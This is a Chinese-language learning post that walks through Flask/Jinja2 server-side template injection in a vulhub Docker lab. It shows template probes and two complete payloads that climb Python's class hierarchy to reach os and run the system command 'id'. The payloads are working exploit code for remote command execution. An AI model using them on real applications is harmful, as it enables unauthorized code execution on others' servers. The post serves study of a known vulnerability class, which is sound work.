其實我根本沒用過flask模板,但是最近在學習python,研究下劃線,莫名其妙地就學習到這裏了。
首先搭建一個flask環境。在github上下一個docker
https://github.com/vulhub/vulhub/tree/master/flask/ssti
然後運行docker
先來看一下代碼:
由此,在瀏覽器中輸入
http://your-ip/?name=leaf
會出現 hello leaf
但在name後面也可以輸入其他東西,比如:
http://your-ip/?name={{1*1}}
出現 hello 1
http://your-ip/?name={{'aaa'.upper()}}
出現AAA
由此就有大神找出了任意命令執行的方法了。
在python裏要執行系統命令需要import os模塊。
想要在模板中直接調用內置模塊 os,即需要在模板環境中對其註冊
需要在上面的代碼里加一句:
t.globals['os'] = os
如果沒有加這一句,直接使用os中的方法會報錯。
那麼,如何在未註冊 os 模塊的情況下在模板中調用 popen() 函數執行系統命令呢?這就用到之前研究的各種下劃線函數了。
先看下面的代碼:
由此可以訪問到很多其他模塊,os模塊自然也可以這樣訪問到。
查閱的其他資料,訪問os模塊都是從warnings.catch_warnings模塊入手的。看一下catch_warnings在哪個位置。
知道了位置後,再用func_global看看該模塊有哪些global函數
這裏能看到linecache,我們要訪問的os模塊就在這裏,看看這個模塊的各種屬性:
就能看到os模塊了(圖片太大,不貼了)。
既然找到了os,接下來就是使用它了。
現在看看怎麼在Jinja2中直接構造命令執行代碼,我對Jinja2還不算很熟悉,這裏先放上兩段大神的代碼:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}
當然也可以用eval函數,代碼如下:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
最後放到瀏覽器裏注意要url編碼,就可以命令執行了
參考:https://github.com/vulhub/vulhub/tree/master/flask/ssti
http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates